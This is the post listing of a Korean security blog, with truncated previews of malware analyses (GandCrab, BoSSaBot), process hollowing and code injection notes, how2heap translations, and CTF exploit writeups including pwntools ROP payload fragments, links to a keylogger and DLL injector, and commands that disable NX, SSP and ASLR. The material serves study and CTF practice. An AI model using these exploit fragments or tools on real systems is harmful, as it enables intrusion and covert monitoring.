티스토리

woodonggyu
검색하기

블로그 홈

woodonggyu

woosunbi.tistory.com/m

woodonggyu 님의 블로그입니다.

구독자
1
방명록 방문하기

주요 글 목록

  • GandCrab v4.3 Ransomware [1] Infomation 파일명 : [임의의 파일명].exe 크기 : 131,584 bytes MD5 : 9f1aeca41d2da7ef2a441961077474f1 [2] GandCrab v4.3 GandCrab v4.3 에서는 이전의 버전과 아래와 같은 차이를 보인다. GandCrab v4.1.2 에 대한 암호화 차단 방법(Kill-Switch)을 배포한데 따른 아래와 같이 보복성 메시지를 담고 있다. 추가적으로, Ahnlab V3 Lite 제품을 대상을 대상으로 0day exploit 을 이용해 DOS 공격이 가능하다는 메시지도 함께 담고 있다. hxxp://memesmix[.]net/media/created/dd0doq.jpg 코드 내부에서도 아래와 같이 V3 Lite 제품을 공격하는 코드가 추가.. 공감수 0 댓글수 0 2018. 8. 28.
  • PAC(Proxy Auto-Config)를 이용한 파밍 기존의 파밍 악성코드는 DNS 서버 주소와 사용자 PC의 "C:\Windows\System32\drivers\etc" 경로에 있는 hosts 파일과 hosts.ics 파일을 변조하여 사용자를 금융 기관 사이트로 위장한 웹 페이지로 유도했다. 2015, 2016년 무렵에 발견된 파밍 악성코드는 백신 제품의 탐지를 우회하고자 PAC(Proxy Auto-Config)를 이용하고 있다. PAC 스크립트는 웹 캐시에 대한 정보를 브라우저에 설정하지 않고 별도의 파일에 저장하여 특정 서버에 업로드 한 후, PAC 스크립트 경로를 지정하여 사용할 수 있다. 파밍 악성코드는 사용자가 특정 URL 에 접속했을 경우, 금융 기관 사이트로 위장한 웹 페이지로 유도하는 PAC 스크립트를 이용한다. ※ hosts.ics ics.. 공감수 1 댓글수 0 2018. 8. 12.
  • Process Hollowing 기법 Process Hollowing : 정상적인 프로세스를 생성하고, 생성한 프로세스에 악성PE 데이터를 삽입하여 실행하는 기법. 1. CreateProcess -> dwCreationFlags(CREATE_SUSPENDED(0x0000004)) 프로세스 생성 시, CREATE_SUSPENDED 값을 인자로하여 대기 상태의 프로세스를 생성한다. 2. GetThreadContext TheadContext -> Eip 레지스터를 얻어온다. 이후에 Entry Point 를 수정하기 위함. 3. ZwUnmapViewOfSection 대기 상태에 머물러 있는 프로세스에서, 정상 코드를 메모리 상에서 할당 해지한다. 4. VirtualAlloc, WriteProcessMemory 새로운 코드를 쓰기 위한 메모리 할당 .. 공감수 2 댓글수 0 2018. 8. 5.
  • pintool 이번 포스팅에서는 pintool 사용법 및 예제코드에 대한 간단한 분석을 진행한다. pintool 이란, Intel PIN SDK 를 이용해 개발한 라이브러리이다. PIN 이란 프로그램의 플러그인(?) 이라 생각하면 될 것 같다. 혹여나 설치를 하지 못했다면, http://woosunbi.tistory.com/170 을 참고하기 바란다. 기본적인 사용 방법은, # ./pin -t [ .so 파일] -- [분석하고자 하는 파일] # Instrumentation Granularity : Pin 의 Instrumentation Granularity 에 따라 4가지 방식으로 Binary Instrumentation(Just in time) 이 가능하다. 1. Trace Instrumentation (TRACE_.. 공감수 0 댓글수 0 2018. 6. 6.
  • Intel PIN PIN 이란, Intel 에서 제작한 DBI(Dynamic Binary Instrumentation Framework) 이다. DBI 를 이용하면 실행 중인 프로세스에 임의의 코드를 삽입하는 것이 가능하다. 영어로 작성되어있지만, 메뉴얼도 잘 작성이 되어있고 예제코드 또한 꽤나 있기에 쉽게 이해할 수 있다. # Install 다운로드 : https://software.intel.com/en-us/articles/pin-a-binary-instrumentation-tool-downloads 다양한 환경에서 지원하고 있으며, 쉽게 설치 및 사용 가능하다. 해당 포스팅에서는 Linux 에서의 사용방법을 간단히 소개한다. OS : Ubuntu 16.04 64bit # tar -xvzf pin~.tar.gz # .. 공감수 0 댓글수 2 2018. 6. 6.
  • IDAPython Plugin IDA 는 편리한 분석을 위한 Python Plugin 을 제공해준다. 설치는 http://code.google.com/p/idapython/downloads/list 설치방법은, 파일을 받아 압축을 푼 후 plugins 폴더에 있는 파일을 IDA 설치 폴더에서 - [plugins] 폴더에 복사 python 폴더에 있는 파일을 IDA 설피 폴더에서 - [python] 폴더에 복사 위 작업을 거친 후 IDA 실행하면 정상적으로 로드되었다는 메시지를 확인할 수 있다. IDAPython 을 통해 어떤 것을 할 수 있을지는 examples 폴더 안의 예제 파일들을 참고. 공감수 0 댓글수 0 2018. 6. 2.
  • [DEFCON 2018 CTF] ELF Crumble 처음에 정상적으로 동작하지 않는 바이너리와 파일명이 "fragment~" 인 8개의 파일이 제공된다. 파일명으로 미루어보아 fragment 파일들을 이용해 정상적으로 동작시켜야 하는 것임을 추측할 수 있다. 직접 fragment 파일을 디어셈블하여 순서를 각각 맞춰 동작시킬 수도 있지만, 파이썬의 itertools 모듈을 이용하면 이러한 작업을 훨씬 쉽게 수월하게 할 수 있다. itertools 에서 permutations() 를 이용해 순열을 만들 수 있다. 모든 순열의 바이너리를 생성하여 실행하는 코드를 짜고 결과 값을 출력하도록 하면 플래그가 나온다.. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 3.. 공감수 0 댓글수 0 2018. 6. 2.
  • [Malware] BoSSaBot * 개인적은 스터디 목적으로 작성한 글이므로 분석이 잘못되었을 수 있습니다. 혹여나 잘못된 점이 있다면 가감없이 지적해주세요. MD5 : 0bbc8562e350c55eaffef335079c9ec9 SHA-1 : e97cf7ef0f9ec50d481f65180c006ad43fb1021f Filetype : ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, stripped windows 가 아닌 리눅스 실행파일이며, UPX packer 가 적용되어 있다. 간단한 검색을 통해 Linux UPX Unpacker 를 구할 수 있다. 함수를 쫓아가다보면 다음.. 공감수 0 댓글수 0 2018. 5. 6.
  • VUPlayer 2.49 Exploit( + Windows ROP for Bypassing DEP) OS : Windows XP Service Pack 3 Target : VUPlayer 2.49 VUPlayer 2.49 는 특정 Byte 이상 크기를 가진 .m3u 파일을 로드할 때, BOF 취약점이 발생한다. DEP(Data Execution Prevention) 방어 기법으로 인해 단순히 RET 주소를 조작해서는 Exploit 에 성공할 수 없다. 이를 우회하기 위해 메모리에 실행 권한을 부여하여 Shellcode 를 실행하는 방법을 이용해 Exploit 하도록 한다. OS 에 따라 사용이 불가능한 함수들이 존재한다.. 참고바람. Exploit 의 편리성을 위한 Immunity Debugger 의 mona.py 기능들 [*] mona.py command # !mona mod # 방어 기법 사용 여부.. 공감수 0 댓글수 0 2018. 5. 1.
  • arm in qemu Qemu 에서 ARM debian 실행 # apt-get install qemu # wget https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2 # wget https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress # wget https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress * CUI 환경 + 인터넷 사용 # qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img.. 공감수 0 댓글수 0 2018. 2. 10.
  • [Codegate 2018 CTF] Super Marimo # exploit.py from pwn import * from time import * def ShowMe(name, profile): p.sendline('show me the marimo') print p.recvuntil('>> ') p.sendline(name) print p.recvuntil('>> ') p.sendline(profile) print p.recvuntil('>> ') def View(index, data): p.sendline('V') print p.recvuntil('>> ') sleep(3) p.sendline(index) print p.recvuntil('>> ') p.sendline('M') print p.recvuntil('>> ') p.sendline(data) pr.. 공감수 0 댓글수 0 2018. 2. 8.
  • [Codegate 2018 CTF] RedVelvet # exploit.py import angr def main(): proj = angr.Project('./RedVelvet', load_options={'auto_load_libs': False}) path_group = proj.factory.path_group(threads=4) path_group.explore(find=0x401631, avoid=(0x401621, 0x4016cb, )) return path_group.found[0].state.posix.dumps(1) if __name__=='__main__': print(repr(main())) 결과 값은 "What_You_Wanna_Be?:)_lc_la" 가 나오게 되는데, 게싱을 통해 아래와 같이 정확한 플래그 알아냈다. FLAG : .. 공감수 0 댓글수 0 2018. 2. 8.
  • [Codegate 2018 CTF] BaskinRobins31 # exploit.py from pwn import * from time import * p = process('./BaskinRobins31') #p = remote('ch41l3ng3s.codegate.kr', 3131) sleep(0.3) print p.recv(1024) payload = str('3') + 'A'*183 payload += p64(0x40087a) + p64(0x1) + p64(0x602040) + p64(0x10) + p64(0x4006d0) payload += p64(0x4008a4) p.sendline(payload) data = p.recv(1024) read = u64(data[237:245]) libc = read - 0xf7250 oneshot = libc + 0x4.. 공감수 0 댓글수 0 2018. 2. 8.
  • code injection Code Injection : 상대방 프로세스에 독립 실행 코드를 삽입한 후 실행하는 기법. CreateRemoteThread() API 이용해 원격 쓰레드 형태로 실행. DLL Injection 과 다르게 흔적을 찾기 어렵고, 메모리를 적게 차지한다. Code Injection 시 고려해야 하는 사항은, Release 모드 빌드 - Debug 모드로 빌드를 하게 되면 코드 중간에 디버깅을 위한 코드가 삽입되어 정확한 크기 알 수 없다. 최적화 옵션 /0d - 최적화 옵션을 해체하여 컴파일러에 의해 소스코드가 최적화 되는 것을 막는다. DEP 해체 - 실행 코드가 정상적으로 동작하지 않음.. 공감수 0 댓글수 0 2018. 1. 9.
  • windows-keylogger # Tested on Windows 7 x64 # https://github.com/woodonggyu/dev-project/tree/master/windows-keylogger 공감수 0 댓글수 0 2018. 1. 9.
  • z3 install # git clone https://github.com/Z3Prover/z3.git # python scripts/mk_make.py # cd build; make # sudo make install if occur error, try this solution : # apt-get install --reinstall python-pkg-resources # python scripts/mk_make.py --python 공감수 0 댓글수 0 2017. 12. 15.
  • windows-dll-injector # Tested on Windows XP x32, Windows 7 x32 / x64 # https://github.com/woodonggyu/dev-project/tree/master/windows-dll-injector 공감수 0 댓글수 0 2017. 11. 27.
  • 2017년 KUCIS 영남권 세미나 2017년 KUCIS 영남권 세미나에서 제가 발표했던 "Heap Exploitation Techniques" 발표자료 입니다. 공감수 0 댓글수 0 2017. 6. 30.
  • [how2heap translation] house_of_einherjar.c # 환경은 ubuntu 16.04 64bit 에서 진행했습니다. # House of Einherjar 는 malloc() 에 의해 반환 된 포인터를 제어하기 위해 null byte 로 off-by-one 오버플로우를 사용한다. # 이 기술은 Poison Null Byte 보다 더 강력한 원초적인 기술이지만, 추가적으로 heap leak 이 필요하다. 포인터 변수 a, b, c, d 선언한다. 그리고 우리는 'a' 에 0x38 bytes 만큼 할당한다. 우리는 'a' 에 overflow 를 원하기 때문에, 0x38 을 반올림 한 후의 'a' 의 실제 크기가 필요하다. a : 0x603420 real_a_size : 0x38 우리는 우리가 원하는 어느 곳이든 fake chunk 를 만든다. 이 글에서 우리는.. 공감수 0 댓글수 0 2017. 6. 26.
  • [how2heap translation] overlapping_chunk.c 테스트 환경은 ubuntu 14.04 32bit 환경에서 진행했습니다. 우선 heap 에 3 chunks 를 할당하고, memset 을 통해 각각의 chunk 를 초기화한다. p1 : 0x0804b008 p2 : 0x0804b108 p3 : 0x0804b208 p2 를 free 한다. p2 는 이제 동일한 크기의 새로운 malloc 할당을 대비해 unsorted bin 에 들어가게 된다. 이제 free 된 chunk 의 크기를 overwrite 할 수 있는 overflow 를 시뮬레이션 하자. 교육용 프로그램에서 size 의 마지막 3bit 는 중요하지 않지만 힙의 안정성을 유지하는 것이 좋다. 이 안정성을 유지하기 위해, 우리는 prev_inuse bit 를 설정함으로써 p1 chunk 가 free c.. 공감수 0 댓글수 0 2017. 6. 26.
  • [how2heap translation] house_of_lore.c House of Lore - Malloc Maleficarum 의 확장된 공격 이 PoC 는 glibc 의 smallbin corruption 에 대해서도 다룬다. 이것은 glibc malloc 에서 동작하는 체크를 우회하기 위한 업그레이드 버전이다. ubuntu 14.04.4 - 32bit - glibc-2.23 환경에서 테스트 되었다. 가장 먼저 stack_buffer_1 과 stack_buffer_2 의 주소 값들을 초기화한다. 그리고, victim chunk 를 100byte 크기만큼 할당한다. victim : 0x804c008 victim_chunk 포인터 변수에 victim - 2 의 주소를 넣는다. stack_buffer_1 : 0xbffff6c0 stack_buffer_2 : 0xbffff.. 공감수 0 댓글수 0 2017. 6. 21.
  • [how2heap translation] poison_null_byte.c 다른 how2heap 의 내용보다 길기에 끊어서 설명하도록 하겠다.. poison null byte 2.0 에 온 거 환영한다@@ 이거는 ubuntu 14.04 64bit 에서 진행했고~ 이 기술은 malloc 영역에 널바이트 off-by-one 이 있을 때 사용 가능하다. 0x100, 0x200, 0x100 만큼 malloc 해서 각각 a, b, c 변수에 반환된 주소 값 들어간다. a : 0x603420 b : 0x603530 c : 0x603740 real_a_size : 0x108 b_size_ptr : 0x211 malloc_usable_size() 같은 경우 chunk 크기에서 다음 chunk 의 prev_size 까지 포함한 크기라고 함. free 된 chunk 의 경우 이 값이 0 이지만,.. 공감수 0 댓글수 0 2017. 6. 19.
  • [BKP 2016 CTF] cookbook # file cookbook cookbook: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2397d3d3c3b98131022ddd98f30e702bd4b88230, stripped [*] '/ctf/cookbook' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE NX, SSP 가 걸려있는 32bit 바이너리이다. 0x084d0a0 영역에 1036byte 만큼 할당하는데 데이터를 .. 공감수 0 댓글수 0 2017. 6. 1.
  • [HUST 2017 CTF] pwnable writeup 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 6. 1.
  • [DEFCON 2017 CTF] beatmeonthedl # file beatmeonthedl beatmeonthedl: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, not stripped [*] '/ctf/beatmeonthedl' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled PIE: No PIE [+] Starting local process './beatmeonthedl': Done 동적 링크된 64bit 바이너리이다. smashme 와 같이 NX, PIE, SSP 등.. 공감수 0 댓글수 0 2017. 5. 9.
  • [DEFCON 2017 CTF] smashme # file smashme smashme: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=29c2093a0eca94730cd7fd861519602b3272a4f7, not stripped [*] '/ctf/smashme' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE static 으로 링크된 64bit 바이너리이다. NX, SSP, PIE 등은 걸려있지 않다. 바이너리는 엄청 단순하다. gets() 를 통한 buffer overfl.. 공감수 0 댓글수 0 2017. 5. 8.
  • Disabling Memory Protection on Linux 해당 옵션이나 명령들은 Ubuntu 에서 사용했슴다 # gcc -z execstack -o test test.c // 컴파일 시 nx 해체 # sysctl-w kernel.exec-shield=0 // nx 해체 # sysctl-w kernel.exec-shield=1 // nx 설정 # gcc -fno-stack-protector -o test test.c // ssp 해체 # gcc -mpreferred-stack-boundary=2 // dummy 값 고정 # sysctl -w kernel.randomize_va_space=0 // aslr 해체 # sysctl -w kernel.randomize_va_space=1 // stack aslr 설정 # sysctl -w kernel.randomize_.. 공감수 0 댓글수 0 2017. 5. 5.
  • [how2heap translation] house_of_force.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 /* 이 POC 는 ASLR 활성화 된 상태에서도 작동한다. GOT 엔트리를 overwrite 하기 때문에 기술을 정확하게 적용하기 위해서 RELRO 를 비활성화해야 한다. RELRO 가 활성화 된 경우 Malloc Des Maleficar.. 공감수 0 댓글수 0 2017. 5. 3.
  • [how2heap translation] house_of_spirit.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #include #include int main() { printf("This file demonstrates the house of spirit attack.\n"); printf("Calling malloc() once so that it sets up its memory.\n"); malloc(1); printf("We will now overwrite a pointer to point to a fake 'fastbin' region.\n"); unsigned long long *a; unsigned long long fake_c.. 공감수 0 댓글수 1 2017. 4. 22.
  • [pwnable.kr] echo2 보호되어 있는 글입니다. 공감수 0 댓글수 0 2017. 4. 16.
    문의안내
    • 티스토리
    • 로그인
    • 고객센터

    티스토리는 카카오에서 사랑을 담아 만듭니다.

    © Kakao Corp.